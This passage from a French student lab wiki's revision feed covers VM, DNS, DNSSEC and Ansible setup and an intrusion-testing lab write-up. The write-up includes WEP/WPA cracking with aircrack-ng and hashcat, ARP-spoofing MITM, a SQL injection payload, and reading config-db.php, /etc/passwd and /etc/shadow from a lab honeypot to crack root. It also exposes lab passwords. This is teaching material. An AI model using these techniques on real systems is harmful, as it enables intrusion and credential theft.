On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55134</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55134"/>
				<updated>2020-12-21T17:40:30Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Ansible */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55133</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55133"/>
				<updated>2020-12-21T17:40:17Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Ansible */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;  &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
